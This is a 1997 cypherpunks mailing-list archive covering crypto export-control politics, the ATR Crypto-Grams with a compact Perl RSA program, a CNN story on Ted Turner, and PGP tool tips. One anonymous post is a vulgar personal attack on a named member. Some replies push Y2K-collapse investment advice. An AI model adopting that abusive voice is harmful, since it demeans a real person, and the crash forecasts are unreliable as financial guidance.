be changed to use a different system call to get the current date.

In 1969, my wife participated in a previous "expand the date" project for a
company in San Francisco.  They converted from one digit dates to two
digits.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Sep 1997 11:55:09 +0800
To: cypherpunks@toad.com
Subject: Crypto-Grams #1-#4, from Americans for Tax Reform
Message-ID: <v0300781eb047a31a36f2@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



[From Jim Lucier and Americans for Tax Reform. These have been faxed to the
Hill all week, a different one each day. --Declan]

************

Attention, House Commerce Committee: Send this email
to a friend in France, and you both could go to jail

print pack"C*",split/\D+/,`echo"16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

The above two lines of code in the perl computer
language implement the world-standard RSA encryption
algorithm.  They can handle an arbitrarily long
key-length and encrypt a file of any size. Therefore,
these 147 keystrokes constitute an ITAR-controlled
munitions item for export purposes. A popular T-shirt
at computer conventions has a similar version of RSA
in machine readable bar-code form.  The T-shirt is a
munition too.

Sending this code in an email to a friend in France
constitutes a go-to-jail federal offense for
"exporting" a munitions item. Your friend in France
may run afoul of local laws that ban cryptography
except as approved by the French government.
Fortunately, you are perfectly legal if you just write
the code on a postcard.

The fact is, it requires no great programming skill to
write tiny programs that produce very powerful
encryption.  There^"s one web site we know of that has
about a dozen^oand an ongoing contest to see who can
write the smallest one.  Over the next few days,
Americans for Tax Reform will share with you some
interesting encryption facts.  On Friday, we will tell
you where to find the "tiny encryption" contest.

If you took math at the middle school level and had
access to a published algorithm, you could possibly
write your own encryption program.  The math is little
more exotic than multiplication, prime numbers,
factoring, and a little modular arithmetic, all of
which were SAT questions.  The basic principle is that
multiplying two large prime numbers together is easy,
whereas factoring their product to find the original
input is hard.  This is the one-way function that
makes public key cryptography possible.

For a more complicated explanation with real
mathematical notation, see the account published by
Peter Wayner in the September 6 New York Times Cyber
Times.  Or you can get a textbook such as Bruce
Schneier^"s Applied Cryptography, which is on the
shelf at Border^"s Bookstore in downtown Washington,
DC. The bottom line is that public key encryption is
no secret and has not been for quite some time.
Trying to ban or control it serves no purpose.  You
might as well ban arithmetic.

The House should pass H.R. 695, the Security and
Freedom through Encryption (SAFE) Act, as approved by
the Judiciary and International Relations Committees.
The other bills need a reality check. Their
mathematics simply does not add up. For more
information on cryptography, see Wayner^"s very
accessible column in the New York Times Cyber Times at
http://www.nytimes.com/library/cyber/week/090697patent.html,
his July 29 New York Times op-ed about how the Framers
of our Nation used cryptography, and his excellent
reporting generally. ###

*****************

Attention, House Commerce Committee--Crypto-Gram #2:

Bit length is irrelevant for export control purposes?
the real test is prevailing market standards

Yesterday we disclosed that strong cryptography
requires about the same level of skill from a computer
programmer that building a hot rod requires from an
auto mechanic-which is to say that any bright and
industrious 19-year-old with cheap tools and a greasy
set of Chilton's manuals can do it. What the final
product lacks in finesse and aesthetic judgment, it
more than makes up for in brute power.

Another thing we pointed out is that bit-length used
in any cryptographic system is independent of the
underlying algorithm.  The code fragment we presented
yesterday works equally well with 40, 128, 1024, 2048,
and even 4096-bit keys.  The only practical limit is
where key lengths get too cumbersome to handle
computationally.

This is not to put the strength of 1024-bit crypto,
which is very secure, on the same level as 40-bit
crypto, which is clearly not secure.  Indeed, these
days 40-bit crypto could theoretically be defeated by
a well-planned high school science project
incorporating a handful of $20 Field Programmable Gate
Array (FPGA) chips.  (Parents of boy and girl scouts
seeking electronics merit badges, take note.)

The point is that anyone who can write 40-bit crypto
into an application can just as easily write in 80 or
128-bit crypto.  Either key length can work with
exactly the same code. Thus by limiting key-lengths
for export to 40 or even 56 bits, we do not prevent
foreigners from learning the "secrets" of programming
for longer key lengths.  If foreigners can program any
crypto at all, they can already program any key length
they want.

So what limits key length for export purposes?  Market
choice.  The computer world is already standardizing
itself around 128-bit key lengths for several reasons.
 First, in binary terms, 128 bits is a round number.
Second, given current technology, experts feel that 70
to 90 bits is about the range necessary to guarantee
security without become unwieldy.  Finally, looking
toward the future the market discounts current
standards to account for rapid technological growth
and possible surprises. Therefore 128 bits is what
buyers want and suppliers offer.

The Trusted Information Systems Website (www.tis.com)
lists 1,393 sources of cryptography worldwide and many
of the most popular are 128-bit. Siemens-Nixdorf,
Brokat, and Expresso are all examples of popular
European technology that computers with American
products.  The Europeans are perfectly capable of
selling and creating 128, 256, and 512-bit
cryptography on their own if buyers want it.  If this
is where the market is going, Americans should supply
the products first.

*****************

Attention, Members of Congress from Ohio-Crypto-gram
#3: You need the SAFE Act to Protect Your Phone

Cell phone communications are not secure. Any idiot
would-be felon with a few hundred bucks and a modified
Radio Shack police band scanner can intercept your
calls and tape them for the New York Times-or the
London tabloids, as both England's Prince Charles and
Princess Diana learned to their sorrow.

Another big problem with cell phones is the cloning of
numbers-when again modified police band scanners
intercept non-encrypted analog cell phone numbers and
steal the electronic identity (plus billing
information) of the unwary caller.  The thousands of
telephone numbers stolen daily in this way give
criminals an unlimited supply of cell phone numbers
which they can use for free and switch rapidly to
avoid detection.  This is perhaps the biggest criminal
telecommunications problem there is.  There are three
solutions.  First, pass more federal laws against it,
which is ineffective. Second, put anti-cloning chips
in cell phone handsets, which works until someone rips
out the chips and solders over them.  Or third, switch
to digital cell phones with encrypted signals. This
stops the problem cold.

Major U.S. manufacturers and designers make dandy
digital cell phones, but they can't export their best
products to fast-growing markets like Hong Kong
because selling U.S.-made phones equivalent to the
most popular cell phones already in use in Hong Kong
would violate U.S. export controls.  So the U.S.
manufacturers, including one also in the email
business, largely have to stay home and watch the
competition make money.

But wait, there is more:  even your best U.S. digital
cell phone has a hole in it because the dumbed-down
encryption mandated by the U.S. government happens to
be flawed. You are probably okay with the cell phone
of your choice, but you can't be sure.

Your political speech is literally on line with the
encryption debate-plus your personal business, your
financial records, and your medical information. It's
impossible to build a mandatory backdoor into all
communications with a sign on it that says "Uncle Sam
with a search arrant only."  If criminals know the
backdoor is there, they will certainly discover where
it is, what it looks like, and how to kick it down.

Other countries, such as France, with a stronger
tradition of wiretapping than that of the U.S., are
given to full-blown political scandals when
collaboration between state-owned telephone companies
and national intelligence services puts transcripts of
sensitive conversations in papers like Le Monde. Just
ask Charles Pasqua, who is not now President of France
or a holder of high office due to precisely such an
instance.  Published reports have suggested that the
Charles and Diana tapes resulted from security
services checking up on the Royals.

Mr. Oxley from Ohio defends his dubious amendments to
the Security and Freedom through Encryption (SAFE) Act
on the basis that he simply wishes to defend the type
of wiretaps he performed in his previous line of
business.  The problem is, Mr. Oxley does not
represent the FBI in Congress;  he represents the
people of Ohio, digital and analog cell phone users
alike. They may have different views.

*****************

On the 210th Anniversary of the U.S.
Constitution--Crypto-gram #4: Celebrate the
Constitution's Birthday:  Pass SAFE

George Washington, Thomas Jefferson, James Madison,
and the Founding Fathers routinely wrote letters in
code.  This is because in Colonial times letters were
often intercepted, just as emails and cellular
telephone calls are today.  Jefferson actually des
igned his own encryption machine, using a method
considered ingenious and effective even today. With
company like this, it is no wonder that top
libertarian and conservative opinion leaders are
speaking out on encryption:

"? We have a First and Fourth Amendment Right to speak
in a manner of our own choosing and to be secure from
government searches.  Just as we have the right to
speak in Spanish and Greek as well as in English on
our computers, we have a right to speak in code on our
computer or on our cell phone so that our messages
will be private."  Phyllis Schlafly, Washington Times
August 12 1997.

"Congress should pass the SAFE Act sponsored by Rep.
Bob Goodlatte and a host of Democrats and other
Republicans.  This bill is critical to protecting
privacy on the Internet and to thwarting theft and
industrial espionage?  But Washington is gumming up t
he works.  The Feds fear effective encryption because
it might hobble their finding ways to tax on-line
commerce."  Steve Forbes, "Fact and Comment," Forbes
Magazine, April 21, 1997.

"Now the Clinton Administration and supporters of S.
909 are doing their best to require that U.S. users of
strong encryption give law enforcement officers access
to their keys via a "key recovery" system. They might
just as well demand that every family give the federal
government a copy of the house keys, just in case the
government ever needs them." Solveig Bernstein, Cato
Institute, Washington Times, July 19, 1997.

"Nothing could be more perverse than to turn the power
of the digital era to empower individuals into a more
invasive means of government surveillance and control.
 I believe that the Administration's positions will
not withstand Constitutional challenge. The question
to ask is why ?we should waste our time and money
pursuing something that, in a Jeffersonian sense, is
so patently un-American and which, in the practical
sense of Moore's Law, is simply wrong."   George A.
Keyworth, II, former Science Advi ser to President
Reagan, Progress and Freedom Foundation, Commerce
Committee Testimony, September 4, 1997.

The SAFE Act simply affirms traditional American
Constitutional principles that Americans should be
free 'in their persons and possessions from
unreasonable searches and seizures,' and they should
be allowed to conduct their legal business with a
minimum of interference from the state.  These are
indeed truths which we should hold self-evident."
Grover Norquist, Americans for Tax Reform, Judiciary
Committee Testimony, March 20, 1997.   ###



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Sep 1997 12:45:14 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199709190450.XAA05073@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
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                TED TURNER DONATES $1 BILLION TO 'U.N. CAUSES'
                                       
     Ted Turner making his speech In this story: 
     
     * 'A billion's a good round number' 
     * 'You have to learn to give'
     * 'The world is awash in money'
       
     September 19, 1997
     Web posted at: 12:10 a.m. EST (0510 GMT)
     
     NEW YORK (CNN) -- CNN founder and Time Warner vice chairman Ted
     Turner announced Thursday night that he will donate $1 billion over
     the next decade to United Nations programs.
     
     Turner made the announcement at a dinner held in New York by the
     United Nations Association-USA to honor Turner for his contribution
     to the international community. He was presented the Global
     Leadership award by the group.
     
     Speaking of his gift, Turner said, "this is not going to go for
     administration. This is only going to go for programs, programs like
     refugees, cleaning up land mines, peacekeeping, UNICEF for the
     children, for diseases, and we're going to have a committee that
     will work with a committee of the U.N. The money can only go to U.N.
     causes."
     
     The donation will be made in 10 annual installments of $100 million
     in Time Warner stock, he said.
     
     "Present day value that's about $600,000," he joked.
     
     The 56-year-old Turner also joked that he was about to be named to
     Forbes magazine's list of the top 25 richest Americans, "and I'm
     going to push myself down the list." 
     
  'A billion's a good round number'
  
     
     
     During his speech at the New York Marriott Marquis Hotel, Turner
     said that he made the decision to donate the money only two nights
     ago. He said it was based on the increase in his net worth since the
     beginning of the year.
       _______________________________________________________________
     
     the Announcement icon vxtreme
     
     The announcement 1.5 MB/16 sec. AIFF or WAV sound
       _______________________________________________________________
     
     Turner explains the plan for making the donation 416 K MB/5 sec.
     AIFF or WAV sound
       _______________________________________________________________
     
     Turner explains the plan for making the donation 416 K MB/5 sec.
     AIFF or WAV sound
       _______________________________________________________________
     
     Turner explains where the money came from 621 K MB/28 sec. AIFF or
     WAV sound
       _______________________________________________________________
     
     Ted explains how the money will be spent 317 K MB/14 sec. AIFF or
     WAV sound
     
     Ted Turner's speech
     
     
     
       _______________________________________________________________
     
     
     
     CNN's Larry King talks with Ted Turner about his donation.
       _______________________________________________________________
     
     
     
     "When I got my statement in January," he said, "I was worth $2.2
     billion. Then I got another statement in August that said I was
     worth $3.2 billion. So I figure its only nine months' earnings, who
     cares?"
     
     Speaking live later with CNN's Larry King, Turner said, "I'm no
     poorer than I was nine months ago, and the world is much better
     off."
     
     Asked how he came to pick the figure $1 billion, the irrepressible
     Turner said, "A billion's a good round number."
     
  From one station to a colossus
  
     
     
     Starting in 1970 with a single UHF television station in Atlanta,
     Turner grew a global colossus that includes a smorgasbord of cable
     channels, movie studios and professional sports teams. He started
     his TBS satellite superstation in 1976 and CNN in 1980.
     
     As a yachtsman, Turner was skipper of the boat that won the
     America's Cup in 1977.
     
     In April, Turner chided fellow billionaires Bill Gates and Warren
     Buffett for not donating more money to charity.
     
     "What good is wealth sitting in the bank?" Turner said at the annual
     meeting of the Boys & Girls Clubs of America. "It's a pretty
     pathetic thing to do with your money."
     
     Turner said the gift was based on the money he'd made from the Time
     Warner stock he received when Turner Broadcasting merged with Time
     Warner to form the world's largest communications company (and CNN's
     parent company as well).
     
     He said the decision was to give the money based on the value of the
     stock, but that it is possible the stock will increase in value and
     "Who knows, I might get a little money back from this deal." 
     
  'You have to learn to give'
  
     Turner and Annan
     
     In 1996, Turner gave away $28 million, according to a survey by
     Fortune magazine. The money went to Worldwatch, the Bat Conservation
     Society, Friends of the Wild Swan and hundreds of other
     environmental causes.
     
     Turner told King that he has discovered "the more good I do, the
     more money has come in. You have to learn to give. You're not born
     to give. You're born selfish."
     
     Turner said he wanted to donate the money directly to the U.N. but
     was told by his lawyers that would not be legal. The U.N. cannot
     legally accept money from individuals, so Turner will create a
     foundation to spend the money and administer the programs.
     
     The programs are expected to focus on jobs, land mines, education
     and global warning. When King asked about global warming, Turner
     said, "Haven't you been outside lately? It's hotter than hell out
     there."
     
     Turner also said he intends to become a fund-raiser for United
     Nations causes "so everybody who is rich can expect a call."
     
     Alvaro de Soto, the U.N. assistant secretary general for political
     affairs from Peru, said Turner's gift "symbolizes the best of what
     we all admire in America. I can only hope that his gesture will
     inspire many." 
     
  'The world is awash in money'
  
     
     
     "There are so many rich guys in the world, billionaires," he said.
     "The world is awash in money and nobody knows what to do with it. We
     don't want the money they know what to do with, just the money they
     don't know what to do with."
     
     "Did you talk to Jane Fonda about this?" King said.
     
     "Yeah, two nights ago when I thought of it in a hotel room here in
     New York," Turner said.
     
     Asked her response, Turner was momentarily quiet. "It brought tears
     to her eyes," he said. "She said, 'I'm proud to be married to you.'"
     
    
   rule
   
  Related sites:
  
     Note: Pages will open in a new browser window
     * Time Man of the Year 1991 - Ted Turner: Prince of the Global
       Village
     * Turner Foundation, Inc.
     * Robert Edward (Ted) Turner - Forbes Four Hundred profile
     * United Nations Home Page
     * UNESCO - United Nations Educational, Scientific and Cultural
       Organization
     * United Nations Development Programme 
     * United Nations Environment Programme
     * United Nations Children's Fund
     * EPA - Global Warming
     * Natural Resources Defense Council
     * Turner Foundation
       
     
     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni-c.dk>
Date: Fri, 19 Sep 1997 06:58:29 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
In-Reply-To: <v03007809b04756602d35@[168.161.105.141]>
Message-ID: <Pine.3.89.9709190038.A26105-0100000@inet.uni-c.dk>
MIME-Version: 1.0
Content-Type: text/plain



With such friends who needs enemies?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 19 Sep 1997 16:07:46 +0800
To: Wei Dai <cypherpunks@toad.com>
Subject: Re: sooner or later
In-Reply-To: <Pine.SUN.3.96.970918220732.16362D-100000@eskimo.com>
Message-ID: <3.0.3.32.19970919004824.006a3b9c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 PM 9/18/97 -0700, Wei Dai wrote:
>Many of us believe that a crypto ban is inevitable. The only question for
>us is whether it'll happen sooner or later. Seen in this perspective, all
>that industry and civil liberties lobbies can do is delay the ban. But is
>this necessarily a good thing?

Yes.  Later is bad, but sooner is worse.  
First of all, "Soon" means "We lost already", while "Later" means 
"We haven't lost yet, even though it looks pretty much like we're 
going to lose later, but we're still fighting them on the seas
and the beaches and the bowling greens and we've taken out the 
occasional deserving politician with a well-placed bowling ball."

Also, "Later" might mean "Clinton's out of office, and some of the
Republicans have gotten in the habit of pretending they like
privacy as long as Clinton opposes it, even though it's traditionally
been the Republicans' job to rip off our privacy."

>1. An earlier ban will do less damage to existing infrastructure.

Wrong - the more time we have to deploy crypto, get the world used to it,
and make it an indispensible part of the industry, the more infrastructure
there is.
Infrastructure is good, and if we build some and they tear it down,
that's just more people lobbying against the Bad Guys.
Suppose the Feds tell half the country they need to replace their new
cellphone....
Bad enough they have to replace their Verisign key that all their Netscape
Mail uses.

Also, an early ban means the infrastructure gets built with Big Brother
Inside.  
Suppose the digital signature infrastructure gets built where every
cellphone needs a Social Security Signature Number to operate so they can find
your Voluntary Escrow Key, and every bank transaction is required to be
traceable;
compare that with a Carl Ellison style signature system that doesn't
need names, only authorizations.  And there's a whole lot of 
digital cash infrastructure to be built, that's only starting emerge
as the big financial institutions get on board.  If crypto gets banned early,
there's no chance of a Chaumian or agnostic or even vaguely private
system getting adopted, and once the Bad Infrastructure is in place,
it doesn't matter if the laws get relaxed, because the banks won't change.

The timing is especially sensitive because the Diffie-Hellman patent
just expired, and Merkle-Hellman and Hellman-Pohlig go next month,
and the whole field becomes legal for Americans to work in without
license restrictions and for Non-North-Americans to write software
they can sell in the US without licensing.  That means there should be
a lot of new products emerging in the next year or so -
and Escrowed Key Certification Authorities are especially silly in a 
Diffie-Hellman environment, where you're using the registered part of your key
to sign a random half-key used to generate the session key....

>2. A ban can not and will not stop crypto. It will force people to work
>around it, but ultimately it will not achieve its goal. We might as well
>start working around it sooner.

Momentum is good - more people working around it, and more people
working against it, and more people hassling their Congresscritters.

>3. A ban will eventually be lifted, because of the impracticality of GAK,
>abuses, wide-spread security problems caused by added complexity or
>hackers stealing the master keys, ineffectiveness, sympathetic courts etc.
>The sooner it comes into effect, the sooner it goes away.

No, the sooner it goes into effect, the later the things built with it
go away.  Think of all the places your Social Security Number has spread,
partly by design and partly because it's a convenient database key.
Will your Public Key Infrastructure ID be on all your digital transactions?
Who's going to bother replacing that with the infrastructure needed for
Web Of Trust business relationships?

Furthermore, in an Escrowed Society, encryption gets built with the
id and signatures on the outside and the privacy inside, so it's easy to trace
whose communication you're wiretapping.  That kind of architecture
isn't easily replaced, even if the key is no longer escrowed,
so traffic analysis becomes easy even after message reading becomes harder.

>4. A ban will focus public attention on crypto, especially if it creates
>some of the problems mentioned above. This will accelerate deployment of
>crypto after the ban is lifted.
>
>In summary, the government is obligated to try and eventually fail to ban
>crypto. We might as well let them get it over with.

We've blown them off over Clipper 1, Clipper 2, Clipper 3, and Clipper 4.
Better to blow them off over Clipper 5 and Clipper 6 than give in.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 19 Sep 1997 13:04:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Preparing the Remnant for the far side of the crisis
Message-ID: <199709190450.AAA11575@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:34 PM 9/18/97 -0600, Jim Burnes wrote:
>
>
>
>On Thu, 18 Sep 1997, Robert Hettinga posted:
>(and someone else wrote)
>
>> >
>> >     In 1999, chaos will hit the financial markets, all over the world --
>> >assuming that this does not happen earlier, which I do not assume.  The
>> >public will know the truth in 1999: THE DEFAULT ON U.S.
>> >GOVERNMENT DEBT IS AT HAND.  The tax man won't be able to
>> >collect in 2000.  The tax man will be blind.  Consider how many banks
>> >and money market funds are filled with T-bills and T-bonds.  Consider
>> >how the government will operate with the IRS completely shut down.
>> >Congress hasn't thought much about this.  Neither has Bill Clinton.
>
>Two words,
>
>"Sell Bonds!"
>
...
Three more words.
"Buy Precious Metals!"
With the stakes of companies relying on bonds, and other companies using
those stocks as collateral themselves, I'm expecting a good ole fashioned
crash.  Nothing that is not tangible will do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 19 Sep 1997 16:08:22 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Computer Security Act
In-Reply-To: <1.5.4.32.19970918020421.006952c4@pop.pipeline.com>
Message-ID: <3.0.3.32.19970919005814.006b2fd4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:44 AM 9/18/97 -0700, Tim wrote:
>I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
>way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
>me luck!

Hey, good luck at Stanford!
BTW, Stanford is locally referred to as "The Farm"; isn't that also
the nickname for Langley?  It ain't Ft. Meade (which actually opened
for NSA business after the Agency had been in the Pentagon for a while)
but the CIA's having their anniversary as well.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 19 Sep 1997 18:20:47 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199709190940.CAA15027@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C[ocksucker] Mayhem's reheated, 
refurbished, and regurgitated cud is 
completely inappropriate for the mailing lists 
into which it is cross-ruminated.

 _ O  Timothy C[ocksucker] Mayhem
(_    |
   -'_/
   X-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 19 Sep 1997 18:11:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: politics aren't all or nothing
In-Reply-To: <v03102809b04797629c55@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970919015421.11529C-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 18 Sep 1997, Tim May wrote:
>like White Aryan Resistance and Hamas and so on can thrive and link up

I see, well, whatever. Kinda makes me think maybe I'm wrong and should
vote for cryptofascists. However, I won't, because I don't want the
government looking over my shoulder. I think there are plenty of ways for
people whose agenda is a good, peaceful world to organize against groups
like WAR and CIA and Hamas and the rest, without having to legislate. I
don't understand how you can judge which violent, fascist, oppressive
group is the correct one to support. Did you know there are other groups
who are not violent, fascist, or oppressive? Did you know that
occasionally, violent, oppressive fascists have changed their minds? 

It is doubtful my words are not going to make any difference in the way
you see the world, but I, like you, think escrow/recovery/wiretapping
would not make the world a better place --- kind of like how looking
closely at a particle makes it behave differently than it would otherwise.
I don't think the national security folk have "a good, peaceful world" in
mind for anyone.  They have in mind a world in which a small, exclusive
group of people can use, take from and manipulate the masses. All of these
groups do.

The history of violent revolution, even in the name of the people, is
filled with the leaders of the revolution assuming the same damn
imbalanced positions of power which were there before. They might call it
a President instead of a King, or maybe Prime Minister or Premier. The
Lords might be the Regional Governors, or Senators, or Counsellors. There
might even be different people in those positions from time to time, even
elected by will of the people. But it's not the person --- it's the
position! The position crafts the person into a pre-formed caricature. Its
history, its image...it is the Throne which makes the Pharoah a God, not
the Family, or the Decree. It is the Throne which makes the decisions, and
it follows instincts of self-perpetuation like any other entity. Do you
want to sit on a throne? GAK, GAP, SMACK, CRACK. MEME SCHEME SCHMEME. 
Consider first your true objective and who you bring to war before you aim
and fire the memetic cannon...or the musket.

They all seem to fit into the same category --- Hamas, Infada, the secular
Algerian "Ninjas", the Federal urban assault task forces, DEA thugs who
raid the homes of innocent people, etc.  They're all fighting, and it
seems like people pick up any side of an issue just so they can fight.
Why? 

Consider the addiction to the feeling that comes from getting angry at
those fuckers over there on that other side and how it would feel so good
to blow their heads off. Notice how the feeling moves around your torso. 
Instead of moving it up to your head where it makes your jaw vibrate, try
moving it around...out the center of your chest through your back...up
into wing shapes behind your body. Try a tail, too. We've still got some
neurons for it.

>Democracy is the problem, not the solution. Thus, nothing Congress can do

We don't live in a democracy. Do I get to vote on HR-695? Do you? No. Has
there ever been a democracy? Not really. Do you know what democracy means?
Do you see through the lies they put forth saying that we live in a
"democracy"? Do you actually think we live in anything close to the word?

Rule by the people, of the people, and for the people. If they don't want
rules, so be it. If they want to say, gosh, killing people is lame, send
that guy to jail, so be it. If they want to say, all people shall be named
"BOB" and partake of the Dispensation of Slack, so be it. Thing is, WE THE
PEOPLE have never actually had the opportunity. We've always been too
nervous about getting our heads blown off, because so many humans are
paranoid, power-hungry and trigger-happy, and because the ones in power
positions are almost always paranoid, power-hungry, and trigger-happy, and
now have nukes. 

So you want a massively plural nuclear weapon based power model. You don't
need to promote cryptography in the name of that. It's going to happen
anyway --- it's already here. Missing Israeli subs, black market Soviet
subs with full crews at the collapse, unused nuclear facilities
"accidentally" sold as scrap metal to the private sector, the whole bit.
I hope mutual assured destruction still works. 

Mark Hedges





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 19 Sep 1997 18:27:33 +0800
To: cypherpunks@cyberpass.net
Subject: directed speech free? request for opinions.
Message-ID: <Pine.SOL.3.96.970919031102.11529E-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




I have seen California law code which seems to indicate that speech
directed at an individual is not covered under the first amendment.

If you have any thoughts on the matter, please send opinions (not legal
advice, of course, if you are a lawyer). Also, if you know of any speech
rights scholars or lawyers willing to answer a few related questions for
free, I would appreciate the pointer. 

Thank you.

Mark Hedges






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Fri, 19 Sep 1997 11:32:03 +0800
To: Lizard <cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3420afc6.108774731@mail.geocities.com>
Message-ID: <3422dbcc.201765812@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997 10:40:30 -0700, you wrote:

>At 10:09 AM 9/15/97 -0700, sameer wrote:
>>> 
>>> Writing the code is no longer enough.  The code must be usable by the
>>> sheeple to work.  How do we do that?
>>
>>	Sell code.
>>
>Marketing.
>
>It's not enough to have a great product -- you must also have great
>marketing. In the case of memewar, you need to get people to want to use
>something, enough to change their habits, even slightly. The less they need
>to change, relative to the benefit they get, the better.
>
>PGP/Eudora is a wonderful example of this. All that is needed to use it is
>one extra step (after install) -- typing your passphrase to sign a message
>before it is sent. Otherwise, it works the same as it always has. As a side
>effect, you can right-click to encrypt any file you can see in Explorer.
>Simple, quick, and usable even by the brain-dead, once you've convinced
>them TO use it. (And I forgot to bring my key file to work, so my Eudora
>here is useless for those purposes. Bother.)

Too bad I use Agent.  PGP is not out for it.

Yea, great marketing works well.  Just look at Windows.

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 19 Sep 1997 15:45:30 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Re: New Computer Security Act
In-Reply-To: <v03007802b0473e8b92bf@[168.161.105.141]>
Message-ID: <3.0.2.32.19970919033829.006df54c@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:34 PM 9/18/97 -0400, Declan McCullagh wrote:
>At 17:16 -0400 9/18/97, Declan McCullagh wrote:
>>There's plenty of time since Air Force One only takes two hours to cross
>>the country. This from other folks in the bureau who have travelled with
>
>I must be confused. I don't think even AF1 is that fast. Make that two
>hours with the time difference.

The SR-71 does it in something around 50 minutes I think (LA->NY)
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-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Fri, 19 Sep 1997 13:31:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional rights
Message-ID: <3422f8ef.10451440@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 18 Sep 1997 22:49:04 -0500, fnorky@geocities.com (Douglas L. Peterson)
wrote:

>
>On Mon, 15 Sep 1997 10:40:30 -0700, you wrote:
>
>>At 10:09 AM 9/15/97 -0700, sameer wrote:
>>>> 
>>>> Writing the code is no longer enough.  The code must be usable by the
>>>> sheeple to work.  How do we do that?
>>>
>>>	Sell code.
>>>
>>Marketing.
>>
>>It's not enough to have a great product -- you must also have great
>>marketing. In the case of memewar, you need to get people to want to use
>>something, enough to change their habits, even slightly. The less they need
>>to change, relative to the benefit they get, the better.
>>
>>PGP/Eudora is a wonderful example of this. All that is needed to use it is
>>one extra step (after install) -- typing your passphrase to sign a message
>>before it is sent. Otherwise, it works the same as it always has. As a side
>>effect, you can right-click to encrypt any file you can see in Explorer.
>>Simple, quick, and usable even by the brain-dead, once you've convinced
>>them TO use it. (And I forgot to bring my key file to work, so my Eudora
>>here is useless for those purposes. Bother.)
>
>Too bad I use Agent.  PGP is not out for it.
>

There are some third party programs that make using PGP with Agent easy.  I
use PGPeep(  http://kakadu.rz.uni-passau.de/~w4hoff01/pgpeep/ ).  With it,
all I have to do to decrypt a message or verify a signature is hit
CTRL+ALT+Enter.  It's not as good as having true integration, but at least
I don't have to copy to the clipboard each time.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 19 Sep 1997 16:10:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Because they want to be "players"
Message-ID: <9d208e0133c07bf689769e09b96f89a1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



